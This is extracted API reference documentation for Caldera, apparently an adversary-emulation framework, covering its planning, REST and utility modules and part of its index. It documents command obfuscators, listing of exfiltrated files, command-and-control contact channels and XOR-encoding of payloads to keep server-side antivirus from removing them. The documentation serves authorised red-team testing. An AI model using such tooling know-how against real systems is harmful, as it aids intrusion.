• criteria – dictionary containing fields to match on

212 Chapter 30. app


caldera

• updates – dictionary containing fields to modify

app.service.learning_svc module

class app.service.learning_svc.LearningService
Bases: LearningServiceInterface, BaseService
static add_parsers(directory)

async build_model()
The model is a static set of all variables used inside all ability commands This can be used to determine
which facts - when found together - are more likely to be used together :return:
async learn(facts, link, blob, operation=None)

app.service.planning_svc module

class app.service.planning_svc.PlanningService(global_variable_owners=None)
Bases: PlanningServiceInterface, BasePlanningService
async add_ability_to_bucket(ability, bucket)
Adds bucket tag to ability
Parameters
• ability (Ability) – Ability to add bucket to
• bucket (string) – Bucket to add to ability
async check_stopping_conditions(stopping_conditions, operation)
Check operation facts against stopping conditions
Checks whether an operation has collected the at least one of the facts required to stop the planner. Operation
facts are checked against the list of facts provided by the stopping conditions. Facts will be validated based
on the unique property, which is a combination of the fact trait and value.
Parameters
• stopping_conditions (list(Fact)) – List of facts which, if collected, should be used
to terminate the planner
• operation (Operation) – Operation to check facts on
Returns
True if all stopping conditions have been met, False if all stopping conditions have not been
met
Return type
bool
async default_next_bucket(current_bucket, state_machine)
Returns next bucket in the state machine
Determine and return the next bucket as specified in the given bucket state machine. If the current bucket
is the last in the list, the bucket order loops from last bucket to first.
Parameters
• current_bucket (string) – Current bucket execution is on

30.1. app package 213


caldera

• state_machine (list) – A list containing bucket strings


Returns
Bucket name to execute
Return type
string
async execute_planner(planner, publish_transitions=True)
Execute planner.
This method will run the planner, progressing from bucket to bucket, as specified by the planner.
Will stop execution for these conditions:
• All buckets have been executed.
• Planner stopping conditions have been met.
• Operation was halted from external/UI input.
NOTE: Do NOT call wait-for-link-completion functions here. Let the planner decide to do that within its
bucket functions, and/or there are other planning_svc utilities for the bucket functions to use to do so.
Parameters
• planner (LogicalPlanner) – Planner to run
• publish_transitions (bool) – flag to publish bucket transitions as events to the event
service
async exhaust_bucket(planner, bucket, operation, agent=None, batch=False, condition_stop=True)
Apply all links for specified bucket
Blocks until all links are completed, either after batch push, or separately for every pushed link.
Parameters
• planner (LogicalPlanner) – Planner to check for stopping conditions on
• bucket (string) – Bucket to pull abilities from
• operation (Operation) – Operation to run links on
• agent (Agent, optional) – Agent to run links on, defaults to None
• batch (bool, optional) – Push all bucket links immediately. Will check if operation
has been stopped (by user) after all bucket links complete. ‘False’ will push links one at
a time, and wait for each to complete. Will check if operation has been stopped (by user)
after each single link is completed. Defaults to False
• condition_stop (bool, optional) – Enable stopping of execution if stopping condi-
tions are met. If set to False, the bucket will continue execution even if stopping conditions
are met. defaults to True
async generate_and_trim_links(agent, operation, abilities, trim=True)
Generate new links based on abilities
Creates new links based on given operation, agent, and abilities. Optionally, trim links using trim_links()
to return only valid links with completed facts.
Parameters
• operation (Operation) – Operation to generate links on
• agent (Agent) – Agent to generate links on

214 Chapter 30. app


caldera

• abilities (list(Ability)) – Abilities to generate links for


• trim (bool, optional) – call trim_links() on list of links before returning, defaults to
True
Returns
A list of links
Return type
list(Links)
async get_cleanup_links(operation, agent=None)
Generate cleanup links
Generates cleanup links for given operation and agent. If no agent is provided, cleanup links will be gener-
ated for all agents in an operation.
Parameters
• operation (Operation) – Operation to generate links on
• agent (Agent, optional) – Agent to generate links on, defaults to None
Returns
a list of links
async get_links(operation, buckets=None, agent=None, trim=True)
Generate links for use in an operation
For an operation and agent combination, create links (that can be executed). When no agent is supplied,
links for all agents are returned.
Parameters
• operation (Operation) – Operation to generate links for
• buckets (list(string), optional) – Buckets containing abilities. If ‘None’, get all
links for given operation, agent, and trim setting. If a list of buckets is provided, then get
links for specified buckets for given operation and trim setting. Defaults to None.
• agent (Agent, optional) – Agent to generate links for, defaults to None
• trim (bool, optional) – call trim_links() on list of links before returning, defaults to
True
Returns
a list of links sorted by score and atomic ordering
async static sort_links(links)
Sort links by score and atomic ordering in adversary profile
Parameters
links (list(Link)) – List of links to sort
Returns
Sorted links
Return type
list(Link)
async update_stopping_condition_met(planner, operation)
Update planner stopping_condition_met property
Parameters

30.1. app package 215


caldera

• planner (LogicalPlanner) – Planner to check stopping conditions and update


• operation (Operation) – Operation to check facts on
async wait_for_links_and_monitor(planner, operation, link_ids, condition_stop)
Wait for link completion, update stopping conditions and (optionally) stop bucket execution if stopping
conditions are met.
Parameters
• planner (LogicalPlanner) – Planner to check for stopping conditions on
• operation (Operation) – Operation running links
• link_ids (list(string)) – Links IDS to wait for
• condition_stop (bool, optional) – Check and respect stopping conditions
Returns
True if planner stopping conditions are met
Return type
bool

app.service.rest_svc module

class app.service.rest_svc.RestService
Bases: RestServiceInterface, BaseService
async add_manual_command(access, data)

async apply_potential_link(link)

async build_potential_abilities(operation)

async build_potential_links(operation, agents, abilities)

async construct_agents_for_group(group)

async create_operation(access, data)

async create_schedule(access, data)

async delete_ability(data)

async delete_adversary(data)

async delete_agent(data)

async delete_operation(data)

async display_objects(object_name, data)

async display_operation_report(data)

async display_result(data)

async download_contact_report(contact)

async find_abilities(paw)

216 Chapter 30. app


caldera

async get_agent_configuration(data)

async get_link_pin(json_data)

async get_potential_links(op_id, paw=None)

async list_exfil_files(data)

async list_payloads()

async persist_ability(access, data)


Persist abilities. Accepts single ability or bulk set of abilities. For bulk, supply dict of form {“bulk”:
[{<ability>}, {<ability>},. . . ]}.
async persist_adversary(access, data)
Persist adversaries. Accepts single adversary or bulk set of adversaries. For bulk, supply dict of form
{“bulk”: [{<adversary>}, {<adversary>},. . . ]}.
async persist_objective(access, data)
Persist objectives. Accepts single objective or a bulk set of objectives. For bulk, supply dict of form
{“bulk”: [{objective}, . . . ]}.
async persist_source(access, data)
Persist sources. Accepts single source or bulk set of sources. For bulk, supply dict of form {“bulk”:
[{<sourc>}, {<source>},. . . ]}.
async task_agent_with_ability(paw, ability_id, obfuscator, facts=())

async update_agent_data(data)

async update_chain_data(data)

async update_config(data)

async update_operation(op_id, state=None, autonomous=None, obfuscator=None)

async update_planner(data)
Update a new planner from either the GUI or REST API with new stopping conditions. This overwrites the
existing YML file. :param data: :return: the ID of the created adversary

app.utility namespace

Submodules

app.utility.base_knowledge_svc module

class app.utility.base_knowledge_svc.BaseKnowledgeService
Bases: BaseService

30.1. app package 217


caldera

app.utility.base_obfuscator module

class app.utility.base_obfuscator.BaseObfuscator(agent)
Bases: BaseWorld
run(link, **kwargs)

app.utility.base_object module

class app.utility.base_object.AppConfigGlobalVariableIdentifier
Bases: object
classmethod is_global_variable(variable)

class app.utility.base_object.BaseObject
Bases: BaseWorld
property access

static clean(d)

property created

property display

display_schema = None

static hash(s)

classmethod load(dict_obj)

load_schema = None

match(criteria)

replace_app_props(encoded_string)

static retrieve(collection, unique)

schema = None

search_tags(value)

update(field, value)
Updates the given field to the given value as long as the value is not None and the new value is different
from the current value. Ignoring None prevents current property values from being overwritten to None if
the given property is not intentionally passed back to be updated (example: Agent heartbeat)
Parameters
• field – object property to update
• value – value to update to

218 Chapter 30. app


caldera

app.utility.base_parser module

class app.utility.base_parser.BaseParser(parser_info)
Bases: object
static broadcastip(blob)

static email(blob)
Parse out email addresses :param blob: :return:
static filename(blob)
Parse out filenames :param blob: :return:
static ip(blob)

static line(blob)
Split a blob by line :param blob: :return:
static load_json(blob)

static set_value(search, match, used_facts)


Determine the value of a source/target for a Relationship :param search: a fact property to look for; either
a source or target fact :param match: a parsing match :param used_facts: a list of facts that were used in a
command :return: either None, the value of a matched used_fact, or the parsing match

app.utility.base_planning_svc module

class app.utility.base_planning_svc.BasePlanningService(global_variable_owners=None)
Bases: BaseService
add_global_variable_owner(global_variable_owner)
Adds a global variable owner to the internal registry.
These will be used for identification of global variables when performing variable-fact substitution.
Args:
global_variable_owner: An object that exposes an is_global_variable(. . . ) method and accepts
a string
containing a bare/unwrapped variable.
async add_test_variants(links, agent, facts=(), rules=(), operation=None, trim_unset_variables=False,
trim_missing_requirements=False)
Create a list of all possible links for a given set of templates
Parameters
• links –
• agent –
• facts –
• rules –
• operation –
• trim_unset_variables –
• trim_missing_requirements –

30.1. app package 219


caldera

Returns
updated list of links
is_global_variable(variable)

async obfuscate_commands(agent, obfuscator, links)

re_index = re.compile('(?<=\\[filters\\().+?(?=\\)\\])')

re_limited = re.compile('#{.*\\[*\\]}')

re_trait = re.compile('(?<=\\{).+?(?=\\[)')

re_variable = re.compile('#{(.*?)}', re.DOTALL)

async static remove_completed_links(operation, agent, links)


Remove any links that have already been completed by the operation for the agent
Parameters
• operation –
• links –
• agent –
Returns
updated list of links
async static remove_links_above_visibility(links, operation)

async static remove_links_with_unset_variables(links)


Remove any links that contain variables that have not been filled in.
Parameters
links –
Returns
updated list of links
async trim_links(operation, links, agent)

Trim links in supplied list. Where ‘trim’ entails:


• adding all possible test variants
• removing completed links (i.e. agent has already completed)
• removing links that did not have template fact variables replaced by fact values

Parameters
• operation –
• links –
• agent –
Returns
trimmed list of links

220 Chapter 30. app


caldera

app.utility.base_service module

class app.utility.base_service.BaseService
Bases: BaseWorld
add_service(name, svc)

classmethod get_service(name)

classmethod get_services()

classmethod remove_service(name)

app.utility.base_world module

class app.utility.base_world.AccessSchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many: bool =
False, context: dict | None = None, load_only: Sequence[str] |
AbstractSet[str] = (), dump_only: Sequence[str] |
AbstractSet[str] = (), partial: bool | Sequence[str] |
AbstractSet[str] | None = None, unknown: str | None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

class app.utility.base_world.BaseWorld
Bases: object
A collection of base static functions for service & object module usage
class Access(value, names=None, *, module=None, qualname=None, type=None, start=1,
boundary=None)
Bases: Enum
APP = 0

BLUE = 2

HIDDEN = 3

RED = 1

class Privileges(value, names=None, *, module=None, qualname=None, type=None, start=1,


boundary=None)
Bases: Enum
Elevated = 1

User = 0

TIME_FORMAT = '%Y-%m-%dT%H:%M:%SZ'

static apply_config(name, config)

static check_requirement(params)

30.1. app package 221


caldera

static clear_config()

static create_logger(name)

static decode_bytes(s, strip_newlines=True)

static encode_string(s)

static generate_name(size=16)

static generate_number(size=6)

static get_config(prop=None, name=None)

static get_current_timestamp(date_format='%Y-%m-%dT%H:%M:%SZ')

static get_timestamp_from_string(datetime_str, date_format='%Y-%m-%dT%H:%M:%SZ')

static is_base64(s)

static is_uuid4(s)

static jitter(fraction)

async static load_module(module_type, module_info)

static prepend_to_file(filename, line)

re_base64 =
re.compile('[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',
re.DOTALL)

static set_config(name, prop, value)

static strip_yml(path)

class app.utility.base_world.PrivilegesSchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many:
bool = False, context: dict | None = None, load_only:
Sequence[str] | AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (), partial: bool |
Sequence[str] | AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.utility.config_generator module

app.utility.config_generator.ensure_local_config()
Checks if a local.yml config file exists. If not, generates a new local.yml file using secure random values.
app.utility.config_generator.log_config_message(config_path)

app.utility.config_generator.make_secure_config()

222 Chapter 30. app


caldera

app.utility.file_decryptor module

app.utility.file_decryptor.decrypt(filename, configuration, output_file=None, b64decode=False)

app.utility.file_decryptor.get_encryptor(salt, key)

app.utility.file_decryptor.read(filename, encryptor)

app.utility.payload_encoder module

This module contains helper functions for encoding and decoding payload files.
If AV is running on the server host, then it may sometimes flag, quarantine, or delete Caldera payloads. To help prevent
this, encoded payloads can be used to prevent AV from breaking the server. The convention expected by the server is
that encoded payloads will be XOR’ed with the DEFAULT_KEY contained in the payload_encoder.py module.
Additionally, payload_encoder.py can be used from the command-line to add a new encoded payload.
` python /path/to/payload_encoder.py input_file output_file `
NOTE: In order for the server to detect the availability of an encoded payload, the payload file’s name must end in the
.xored extension.
app.utility.payload_encoder.xor_bytes(in_bytes, key=None)

app.utility.payload_encoder.xor_file(input_file, output_file=None, key=None)

app.utility.rule_set module

class app.utility.rule_set.RuleAction(value, names=None, *, module=None, qualname=None,


type=None, start=1, boundary=None)
Bases: Enum
ALLOW = 1

DENY = 0

class app.utility.rule_set.RuleSet(rules)
Bases: object
async apply_rules(facts)

async is_fact_allowed(fact)

30.1.2 Submodules

30.1.3 app.ascii_banner module

app.ascii_banner.no_color()

app.ascii_banner.print_rich_banner()
Print banner using Python Rich library

30.1. app package 223


caldera

30.1.4 app.version module

app.version.get_version()

30.1.5 Module contents

224 Chapter 30. app


CHAPTER

THIRTYONE

INDICES AND TABLES

• genindex
• modindex
• search

225
caldera

226 Chapter 31. Indices and tables


PYTHON MODULE INDEX

a app.api.v2.schemas.base_schemas, 157
app, 224 app.api.v2.schemas.caldera_info_schemas, 158
app.api, 147 app.api.v2.schemas.config_schemas, 159
app.api.packs, 147 app.api.v2.schemas.deploy_command_schemas,
app.api.packs.advanced, 147 159
app.api.packs.campaign, 147 app.api.v2.schemas.error_schemas, 160
app.api.rest_api, 163 app.api.v2.schemas.link_result_schema, 160
app.api.v2, 163 app.api.v2.schemas.payload_schemas, 161
app.api.v2.errors, 162 app.api.v2.security, 163
app.api.v2.handlers, 147 app.api.v2.validation, 163
app.api.v2.handlers.ability_api, 148 app.ascii_banner, 223
app.api.v2.handlers.adversary_api, 148 app.contacts, 164
app.api.v2.handlers.agent_api, 148 app.contacts.contact_dns, 167
app.api.v2.handlers.base_api, 149 app.contacts.contact_ftp, 169
app.api.v2.handlers.base_object_api, 149 app.contacts.contact_gist, 170
app.api.v2.handlers.config_api, 150 app.contacts.contact_html, 171
app.api.v2.handlers.contact_api, 150 app.contacts.contact_http, 171
app.api.v2.handlers.fact_api, 150 app.contacts.contact_slack, 171
app.api.v2.handlers.fact_source_api, 151 app.contacts.contact_tcp, 172
app.api.v2.handlers.health_api, 151 app.contacts.contact_udp, 172
app.api.v2.handlers.obfuscator_api, 151 app.contacts.contact_websocket, 172
app.api.v2.handlers.objective_api, 151 app.contacts.handles, 164
app.api.v2.handlers.operation_api, 152 app.contacts.handles.h_beacon, 164
app.api.v2.handlers.payload_api, 152 app.contacts.tunnels, 164
app.api.v2.handlers.planner_api, 153 app.contacts.tunnels.tunnel_ssh, 164
app.api.v2.handlers.plugins_api, 153 app.data_encoders, 173
app.api.v2.handlers.schedule_api, 153 app.data_encoders.base64_basic, 173
app.api.v2.managers, 154 app.data_encoders.plain_text, 173
app.api.v2.managers.ability_api_manager, 154 app.learning, 173
app.api.v2.managers.adversary_api_manager, app.learning.p_ip, 173
154 app.learning.p_path, 173
app.api.v2.managers.agent_api_manager, 154 app.objects, 174
app.api.v2.managers.base_api_manager, 154 app.objects.c_ability, 184
app.api.v2.managers.config_api_manager, 155 app.objects.c_adversary, 185
app.api.v2.managers.contact_api_manager, 156 app.objects.c_agent, 186
app.api.v2.managers.fact_api_manager, 156 app.objects.c_data_encoder, 188
app.api.v2.managers.fact_source_manager, 156 app.objects.c_obfuscator, 188
app.api.v2.managers.operation_api_manager, app.objects.c_objective, 189
156 app.objects.c_operation, 189
app.api.v2.managers.schedule_api_manager, 157 app.objects.c_planner, 192
app.api.v2.responses, 162 app.objects.c_plugin, 193
app.api.v2.schemas, 157 app.objects.c_schedule, 194

227
caldera

app.objects.c_source, 194 app.utility.file_decryptor, 223


app.objects.interfaces, 174 app.utility.payload_encoder, 223
app.objects.interfaces.i_object, 174 app.utility.rule_set, 223
app.objects.secondclass, 174 app.version, 224
app.objects.secondclass.c_executor, 174
app.objects.secondclass.c_fact, 175
app.objects.secondclass.c_goal, 176
app.objects.secondclass.c_instruction, 177
app.objects.secondclass.c_link, 177
app.objects.secondclass.c_parser, 179
app.objects.secondclass.c_parserconfig, 179
app.objects.secondclass.c_relationship, 180
app.objects.secondclass.c_requirement, 181
app.objects.secondclass.c_result, 182
app.objects.secondclass.c_rule, 182
app.objects.secondclass.c_variation, 183
app.objects.secondclass.c_visibility, 183
app.planners, 195
app.planners.atomic, 195
app.service, 195
app.service.app_svc, 204
app.service.auth_svc, 205
app.service.contact_svc, 207
app.service.data_svc, 207
app.service.event_svc, 209
app.service.file_svc, 209
app.service.interfaces, 195
app.service.interfaces.i_app_svc, 195
app.service.interfaces.i_auth_svc, 196
app.service.interfaces.i_contact_svc, 197
app.service.interfaces.i_data_svc, 197
app.service.interfaces.i_event_svc, 198
app.service.interfaces.i_file_svc, 198
app.service.interfaces.i_knowledge_svc, 199
app.service.interfaces.i_learning_svc, 201
app.service.interfaces.i_login_handler, 201
app.service.interfaces.i_object_svc, 202
app.service.interfaces.i_planning_svc, 202
app.service.interfaces.i_rest_svc, 202
app.service.knowledge_svc, 211
app.service.learning_svc, 213
app.service.login_handlers, 203
app.service.login_handlers.default, 203
app.service.planning_svc, 213
app.service.rest_svc, 216
app.utility, 217
app.utility.base_knowledge_svc, 217
app.utility.base_obfuscator, 218
app.utility.base_object, 218
app.utility.base_parser, 219
app.utility.base_planning_svc, 219
app.utility.base_service, 221
app.utility.base_world, 221
app.utility.config_generator, 222

228 Python Module Index


INDEX

A add_facts() (app.api.v2.handlers.fact_api.FactApi
A (app.contacts.contact_dns.DnsRecordType attribute), method), 150
167 add_global_variable_owner()
AAAA (app.contacts.contact_dns.DnsRecordType at- (app.utility.base_planning_svc.BasePlanningService
tribute), 168 method), 219
Ability (class in app.objects.c_ability), 184 add_ignored_link() (app.objects.c_operation.Operation
ability_id (app.objects.c_source.Adjustment at- method), 190
tribute), 194 add_link() (app.objects.c_operation.Operation
AbilityApi (class in app.api.v2.handlers.ability_api), method), 190
148 add_manual_command()
AbilityApiManager (class in (app.service.rest_svc.RestService method),
app.api.v2.managers.ability_api_manager), 216
154 add_parsers() (app.service.interfaces.i_learning_svc.LearningServiceInt
AbilitySchema (class in app.objects.c_ability), 185 static method), 201
AbilitySchema.Meta (class in app.objects.c_ability), add_parsers() (app.service.learning_svc.LearningService
185 static method), 213
accept() (app.contacts.contact_tcp.TcpSessionHandler add_relationship() (app.service.interfaces.i_knowledge_svc.Knowledge
method), 172 method), 199
access (app.utility.base_object.BaseObject property), add_relationship() (app.service.knowledge_svc.KnowledgeService
218 method), 211
AccessSchema (class in app.utility.base_world), 221 add_relationships()
active_agents() (app.objects.c_operation.Operation (app.api.v2.handlers.fact_api.FactApi method),
method), 190 150
add_ability_to_bucket() add_routes() (app.api.v2.handlers.ability_api.AbilityApi
(app.service.planning_svc.PlanningService method), 148
method), 213 add_routes() (app.api.v2.handlers.adversary_api.AdversaryApi
add_bucket() (app.objects.c_ability.Ability method), method), 148
184 add_routes() (app.api.v2.handlers.agent_api.AgentApi
add_chunk() (app.contacts.contact_dns.Handler.TunneledMessage method), 148
method), 169 add_routes() (app.api.v2.handlers.base_api.BaseApi
add_chunk() (app.contacts.contact_gist.Contact.GistUpload method), 149
method), 170 add_routes() (app.api.v2.handlers.base_object_api.BaseObjectApi
add_chunk() (app.contacts.contact_slack.Contact.SlackUpload method), 149
method), 171 add_routes() (app.api.v2.handlers.config_api.ConfigApi
add_executor() (app.objects.c_ability.Ability method), method), 150
184 add_routes() (app.api.v2.handlers.contact_api.ContactApi
add_executors() (app.objects.c_ability.Ability method), 150
method), 184 add_routes() (app.api.v2.handlers.fact_api.FactApi
method), 150
add_fact() (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
method), 199 add_routes() (app.api.v2.handlers.fact_source_api.FactSourceApi
add_fact() (app.service.knowledge_svc.KnowledgeService method), 151
method), 211 add_routes() (app.api.v2.handlers.health_api.HealthApi

229
caldera

method), 151 all_facts() (app.objects.c_operation.Operation


add_routes() (app.api.v2.handlers.obfuscator_api.ObfuscatorApi method), 190
method), 151 all_relationships()
add_routes() (app.api.v2.handlers.objective_api.ObjectiveApi (app.objects.c_operation.Operation method),
method), 151 190
add_routes() (app.api.v2.handlers.operation_api.OperationApiALLOW (app.utility.rule_set.RuleAction attribute), 223
method), 152 api_access() (in module app.contacts.contact_gist),
add_routes() (app.api.v2.handlers.payload_api.PayloadApi 170
method), 152 api_access() (in module app.contacts.contact_slack),
add_routes() (app.api.v2.handlers.planner_api.PlannerApi 171
method), 153 apispec_request_validation_middleware() (in
add_routes() (app.api.v2.handlers.plugins_api.PluginApi module app.api.v2.responses), 163
method), 153 app
add_routes() (app.api.v2.handlers.schedule_api.ScheduleApi module, 224
method), 153 APP (app.utility.base_world.BaseWorld.Access attribute),
add_rule() (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
221
method), 199 app.api
add_rule() (app.service.knowledge_svc.KnowledgeService module, 147
method), 211 app.api.packs
add_service() (app.utility.base_service.BaseService module, 147
method), 221 app.api.packs.advanced
add_special_payload() (app.service.file_svc.FileSvc module, 147
method), 209 app.api.packs.campaign
add_special_payload() module, 147
(app.service.interfaces.i_file_svc.FileServiceInterface
app.api.rest_api
method), 198 module, 163
add_test_variants() app.api.v2
(app.utility.base_planning_svc.BasePlanningService module, 163
method), 219 app.api.v2.errors
add_xored_extension() (app.service.file_svc.FileSvc module, 162
static method), 209 app.api.v2.handlers
Adjustment (class in app.objects.c_source), 194 module, 147
AdjustmentSchema (class in app.objects.c_source), 194 app.api.v2.handlers.ability_api
AdvancedPack (class in app.api.packs.advanced), 147 module, 148
Adversary (class in app.objects.c_adversary), 185 app.api.v2.handlers.adversary_api
AdversaryApi (class in module, 148
app.api.v2.handlers.adversary_api), 148 app.api.v2.handlers.agent_api
AdversaryApiManager (class in module, 148
app.api.v2.managers.adversary_api_manager), app.api.v2.handlers.base_api
154 module, 149
AdversarySchema (class in app.objects.c_adversary), app.api.v2.handlers.base_object_api
185 module, 149
AdversarySchema.Meta (class in app.api.v2.handlers.config_api
app.objects.c_adversary), 185 module, 150
Agent (class in app.objects.c_agent), 186 app.api.v2.handlers.contact_api
AgentApi (class in app.api.v2.handlers.agent_api), 148 module, 150
AgentApiManager (class in app.api.v2.handlers.fact_api
app.api.v2.managers.agent_api_manager), module, 150
154 app.api.v2.handlers.fact_source_api
AgentConfigUpdateSchema (class in module, 151
app.api.v2.schemas.config_schemas), 159 app.api.v2.handlers.health_api
AgentFieldsSchema (class in app.objects.c_agent), 187 module, 151
AgentSchema (class in app.objects.c_agent), 187 app.api.v2.handlers.obfuscator_api
all_facts() (app.objects.c_agent.Agent method), 186 module, 151

230 Index
caldera

app.api.v2.handlers.objective_api app.api.v2.validation
module, 151 module, 163
app.api.v2.handlers.operation_api app.ascii_banner
module, 152 module, 223
app.api.v2.handlers.payload_api app.contacts
module, 152 module, 164
app.api.v2.handlers.planner_api app.contacts.contact_dns
module, 153 module, 167
app.api.v2.handlers.plugins_api app.contacts.contact_ftp
module, 153 module, 169
app.api.v2.handlers.schedule_api app.contacts.contact_gist
module, 153 module, 170
app.api.v2.managers app.contacts.contact_html
module, 154 module, 171
app.api.v2.managers.ability_api_manager app.contacts.contact_http
module, 154 module, 171
app.api.v2.managers.adversary_api_manager app.contacts.contact_slack
module, 154 module, 171
app.api.v2.managers.agent_api_manager app.contacts.contact_tcp
module, 154 module, 172
app.api.v2.managers.base_api_manager app.contacts.contact_udp
module, 154 module, 172
app.api.v2.managers.config_api_manager app.contacts.contact_websocket
module, 155 module, 172
app.api.v2.managers.contact_api_manager app.contacts.handles
module, 156 module, 164
app.api.v2.managers.fact_api_manager app.contacts.handles.h_beacon
module, 156 module, 164
app.api.v2.managers.fact_source_manager app.contacts.tunnels
module, 156 module, 164
app.api.v2.managers.operation_api_manager app.contacts.tunnels.tunnel_ssh
module, 156 module, 164
app.api.v2.managers.schedule_api_manager app.data_encoders
module, 157 module, 173
app.api.v2.responses app.data_encoders.base64_basic
module, 162 module, 173
app.api.v2.schemas app.data_encoders.plain_text
module, 157 module, 173
app.api.v2.schemas.base_schemas app.learning
module, 157 module, 173
app.api.v2.schemas.caldera_info_schemas app.learning.p_ip
module, 158 module, 173
app.api.v2.schemas.config_schemas app.learning.p_path
module, 159 module, 173
app.api.v2.schemas.deploy_command_schemas app.objects
module, 159 module, 174
app.api.v2.schemas.error_schemas app.objects.c_ability
module, 160 module, 184
app.api.v2.schemas.link_result_schema app.objects.c_adversary
module, 160 module, 185
app.api.v2.schemas.payload_schemas app.objects.c_agent
module, 161 module, 186
app.api.v2.security app.objects.c_data_encoder
module, 163 module, 188

Index 231
caldera

app.objects.c_obfuscator app.service.auth_svc
module, 188 module, 205
app.objects.c_objective app.service.contact_svc
module, 189 module, 207
app.objects.c_operation app.service.data_svc
module, 189 module, 207
app.objects.c_planner app.service.event_svc
module, 192 module, 209
app.objects.c_plugin app.service.file_svc
module, 193 module, 209
app.objects.c_schedule app.service.interfaces
module, 194 module, 195
app.objects.c_source app.service.interfaces.i_app_svc
module, 194 module, 195
app.objects.interfaces app.service.interfaces.i_auth_svc
module, 174 module, 196
app.objects.interfaces.i_object app.service.interfaces.i_contact_svc
module, 174 module, 197
app.objects.secondclass app.service.interfaces.i_data_svc
module, 174 module, 197
app.objects.secondclass.c_executor app.service.interfaces.i_event_svc
module, 174 module, 198
app.objects.secondclass.c_fact app.service.interfaces.i_file_svc
module, 175 module, 198
app.objects.secondclass.c_goal app.service.interfaces.i_knowledge_svc
module, 176 module, 199
app.objects.secondclass.c_instruction app.service.interfaces.i_learning_svc
module, 177 module, 201
app.objects.secondclass.c_link app.service.interfaces.i_login_handler
module, 177 module, 201
app.objects.secondclass.c_parser app.service.interfaces.i_object_svc
module, 179 module, 202
app.objects.secondclass.c_parserconfig app.service.interfaces.i_planning_svc
module, 179 module, 202
app.objects.secondclass.c_relationship app.service.interfaces.i_rest_svc
module, 180 module, 202
app.objects.secondclass.c_requirement app.service.knowledge_svc
module, 181 module, 211
app.objects.secondclass.c_result app.service.learning_svc
module, 182 module, 213
app.objects.secondclass.c_rule app.service.login_handlers
module, 182 module, 203
app.objects.secondclass.c_variation app.service.login_handlers.default
module, 183 module, 203
app.objects.secondclass.c_visibility app.service.planning_svc
module, 183 module, 213
app.planners app.service.rest_svc
module, 195 module, 216
app.planners.atomic app.utility
module, 195 module, 217
app.service app.utility.base_knowledge_svc
module, 195 module, 217
app.service.app_svc app.utility.base_obfuscator
module, 204 module, 218

232 Index
caldera

app.utility.base_object app.api.v2.security), 163


module, 218 authentication_required_middleware_factory()
app.utility.base_parser (in module app.api.v2.security), 163
module, 219 authoritative_resp_flag
app.utility.base_planning_svc (app.contacts.contact_dns.DnsPacket at-
module, 219 tribute), 167
app.utility.base_service authorized_userid()
module, 221 (app.service.auth_svc.DictionaryAuthorizationPolicy
app.utility.base_world method), 206
module, 221 AuthService (class in app.service.auth_svc), 205
app.utility.config_generator AuthService.User (class in app.service.auth_svc), 205
module, 222 AuthServiceInterface (class in
app.utility.file_decryptor app.service.interfaces.i_auth_svc), 196
module, 223
app.utility.payload_encoder B
module, 223 Base64Encoder (class in
app.utility.rule_set app.data_encoders.base64_basic), 173
module, 223 BaseApi (class in app.api.v2.handlers.base_api), 149
app.version BaseApiManager (class in
module, 224 app.api.v2.managers.base_api_manager),
AppConfigGlobalVariableIdentifier (class in 154
app.utility.base_object), 218 BaseGetAllQuerySchema (class in
apply() (app.objects.c_operation.Operation method), app.api.v2.schemas.base_schemas), 157
190 BaseGetOneQuerySchema (class in
apply() (app.objects.secondclass.c_visibility.Visibility app.api.v2.schemas.base_schemas), 158
method), 183 BaseKnowledgeService (class in
apply() (app.service.auth_svc.AuthService method), app.utility.base_knowledge_svc), 217
205 BaseObfuscator (class in app.utility.base_obfuscator),
apply() (app.service.data_svc.DataService method), 218
207 BaseObject (class in app.utility.base_object), 218
apply() (app.service.interfaces.i_auth_svc.AuthServiceInterface
BaseObjectApi (class in
method), 196 app.api.v2.handlers.base_object_api), 149
apply() (app.service.interfaces.i_data_svc.DataServiceInterface
BaseParser (class in app.utility.base_parser), 219
method), 197 BasePlanningService (class in
apply_config() (app.utility.base_world.BaseWorld app.utility.base_planning_svc), 219
static method), 221 BaseService (class in app.utility.base_service), 221
apply_id() (app.objects.secondclass.c_link.Link BaseWorld (class in app.utility.base_world), 221
method), 177 BaseWorld.Access (class in app.utility.base_world),
apply_potential_link() 221
(app.service.interfaces.i_rest_svc.RestServiceInterface
BaseWorld.Privileges (class in
method), 202 app.utility.base_world), 221
apply_potential_link() Beacon (app.contacts.contact_dns.Handler.MessageType
(app.service.rest_svc.RestService method), attribute), 168
216 begin_auth() (app.contacts.tunnels.tunnel_ssh.SSHServerTunnel
apply_rules() (app.utility.rule_set.RuleSet method), method), 164
223 BLUE (app.utility.base_world.BaseWorld.Access at-
AppService (class in app.service.app_svc), 204 tribute), 221
AppServiceInterface (class in bootstrap() (app.objects.c_agent.Agent method), 186
app.service.interfaces.i_app_svc), 195 broadcastip() (app.utility.base_parser.BaseParser
assign_pending_executor_change() static method), 219
(app.objects.c_agent.Agent method), 186 build_ability() (app.api.v2.managers.operation_api_manager.Operatio
atomic() (app.planners.atomic.LogicalPlanner method), 156
method), 195 build_ability() (app.objects.c_ability.AbilitySchema
authentication_exempt() (in module method), 185

Index 233
caldera

build_adjustment() (app.objects.c_source.AdjustmentSchema build_result() (app.objects.secondclass.c_result.ResultSchema


method), 194 method), 182
build_adversary() (app.objects.c_adversary.AdversarySchemabuild_rule() (app.objects.secondclass.c_rule.RuleSchema
method), 185 method), 182
build_agent() (app.objects.c_agent.AgentSchema build_schedule() (app.objects.c_schedule.ScheduleSchema
method), 187 method), 194
build_executor() (app.api.v2.managers.operation_api_manager.OperationApiManager
build_source() (app.objects.c_source.SourceSchema
method), 156 method), 195
build_executor() (app.objects.secondclass.c_executor.ExecutorSchema
build_variation() (app.objects.secondclass.c_variation.VariationSchem
method), 175 method), 183
